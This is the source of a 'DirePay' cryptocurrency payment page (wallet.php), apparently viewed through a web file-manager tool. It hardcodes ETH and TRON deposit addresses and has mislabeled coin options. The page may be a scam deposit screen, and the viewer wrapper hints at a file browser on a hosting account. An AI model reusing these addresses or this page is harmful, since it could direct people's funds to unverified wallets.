Viewing File: /home/rareljzw/public_html/wallet.php

<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>DirePay</title>
    <link href="https://payment.direpay.app/css/style.css" rel="stylesheet">
    <link href="https://payment.direpay.app/css/main.css" rel="stylesheet" />
    <link rel="shortcut icon" href="https://payment.direpay.app/img/favicon.ico" type="image/x-icon">
    <link href="https://payment.direpay.app/css/wheel.css" rel="stylesheet">
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.7.2/font/bootstrap-icons.min.css">
    <style>
        .details-text {
            font-size: 16px;
        }
        .receiving-text {
            font-size: 21px;
            font-weight: 500;
        }
        .green-text {
            color: #51FF00;
        }
        .tnc {
            font-size: 13px;
            color: rgba(255, 255, 255, 0.7);
        }
        .confirm-btn {
            background-color: dodgerblue;
            color: white;
        }
        .confirm-btn:hover {
            color: white;
        }
        @media (max-width: 576px) {
            .language-select {
                position: unset !important;
            }
        }
    </style>
</head>
<body>
    <div id="app">
        <main class="py-4 justify-content-center align-items-center" id="main">
            <div class="text-center section" style="height: inherit">
                <img style="max-width: 280px" src="https://payment.direpay.app/img/logo-en.png" class="img-fluid mb-3">
                <br>
                <div class="row px-0 mx-0 my-2 col-md-6 col-sm-12 text-sm-start">
                    <h4 id="payment_details" class="col-12 col-sm" style="font-size:30px;">Payment Details</h4>
                </div>
                <div class="row px-0 mx-0 my-2 col-md-6 col-sm-12 details-text text-danger">
                    <div id="timerText">
                        <span id="wallet_expiring_in_1">Select your payment gateway and scan or copy wallet address below </span>
                        <span id="timer"></span><span id="wallet_expiring_in_2"></span>
                    </div>
                </div>
                <div class="input-group my-3 mx-auto" style="max-width: 300px;">
                    <label class="input-group-text btn-secondary px-4" for="coinSelect">Payment Gateway</label>
                    <select class="form-select" id="coinSelect">
                        <option value="btc" >ETHEREUM</option>
                        <option value="usdc" >USDC</option>
                        <option value="usdt-erc20" >USDT (ERC20)</option>
                        <option value="usdt-trc20" >USDT (TRC20)</option>
                        <option value="trx">TRX</option>
                    </select>
                </div>
                <img id="qrCode" src="https://api.qrserver.com/v1/create-qr-code/?data=0xb069Dae801C582936FbCdF535C580267336C0e77" class="my-3" style="width:200px;">
                <div class="input-group pointer my-2 mb-3 mx-auto" style="max-width:650px;min-height:40px;">
                    <input id="walletAddress" type="text" class="form-control text-center" value="0xb069Dae801C582936FbCdF535C580267336C0e77" disabled readonly>
                    <button id="address" class="btn btn-outline-secondary px-4" type="button">
                        <i class="bi bi-clipboard"></i>
                    </button>
                </div>
    <div class="row px-0 mx-0 my-2 col-md-6 col-sm-12">
        <div id="transaction_id" class="col-12 col-sm text-sm-start details-text">Transaction ID</div>
        <div class="col-12 col-sm text-sm-end details-text">DPsgu71492755</div>
    </div>
    <div class="row px-0 mx-0 my-2 col-md-6 col-sm-12">
        <div id="crypto_amount" class="col-12 col-sm text-sm-start details-text">Minimum Amount</div>
        <div id="crypto_min_value" class="col-12 col-sm text-sm-end details-text">0.018 ETH</div>
    </div>
    <div class="row px-0 mx-0 my-2 col-md-6 col-sm-12">
        <div id="fiat_amount" class="col-12 col-sm text-sm-start details-text">Maximum Amount</div>
        <div id="crypto_max_value" class="col-12 col-sm text-sm-end details-text">10 ETH</div>
    </div>
    <div class="row px-0 mx-0 my-2 mb-3 col-md-6 col-sm-12">
        <div id="receiving_amount" class="col-12 col-sm text-sm-start receiving-text">Blockchain Confirmation</div>
        <div id="receiving_amount_value" class="col-12 col-sm text-sm-end receiving-text">3 confirmation</div>
    </div>
                
                <hr class="col-md-6 col-sm-12">
                <p id="tnc" class="py-3 col-md-6 col-sm-12 mx-2 tnc" style="text-align:left">Terms and Conditions<br>
                    1. Copy and paste the given wallet address or scan the QR code with your wallet app to transfer.<br>
                    2. Please ensure that the amount you deposit falls within the specified minimum and maximum limits for the selected payment gateway. Payment will fail if it does not meet these requirements.<br>
                    3. Use the correct network. Transferring using another network may result in a loss.<br>
                    4. You will get a popup message once payment is successful.
                </p>
            </div>
        </main>
    </div>
    <script>
        const coinSelect = document.getElementById('coinSelect');
        const walletAddress = document.getElementById('walletAddress');
        const qrCode = document.getElementById('qrCode');
        const minValue = document.getElementById('crypto_min_value');
        const maxValue = document.getElementById('crypto_max_value');

        const gatewayConfig = {
            'btc': { address: '0xb069Dae801C582936FbCdF535C580267336C0e77', min: '0.018 BTC', max: '10 ETH' },
            'eth': { address: '0xb069Dae801C582936FbCdF535C580267336C0e77', min: '0.018 ETH', max: '10 ETH' },
            'usdc': { address: '0xb069Dae801C582936FbCdF535C580267336C0e77', min: '50 USDC', max: '100,000 USDC' },
            'usdt-erc20': { address: '0xb069Dae801C582936FbCdF535C580267336C0e77', min: '50 USDT', max: '100,000 USDT' },
            'usdt-trc20': { address: 'TTUZ2fL7zQmq72Ad1q4vskuNrAcyKnQMSa', min: '50 USDT', max: '100,000 USDT' },
            'trx': { address: 'TTUZ2fL7zQmq72Ad1q4vskuNrAcyKnQMSa', min: '200 TRX', max: '1,000,000 TRX' }
        };

        coinSelect.addEventListener('change', function (event) {
            const selectedCoin = event.target.value;
            const config = gatewayConfig[selectedCoin];

            walletAddress.value = config.address;
            qrCode.src = `https://api.qrserver.com/v1/create-qr-code/?data=${encodeURIComponent(config.address)}`;
            minValue.textContent = config.min;
            maxValue.textContent = config.max;
        });

        document.getElementById('address').addEventListener('click', function () {
            navigator.clipboard.writeText(walletAddress.value).then(() => {
                alert('Wallet address copied to clipboard!');
            }).catch(err => {
                console.error('Could not copy text: ', err);
            });
        });
    </script>
</body>
</html>
Back to Directory File Manager
<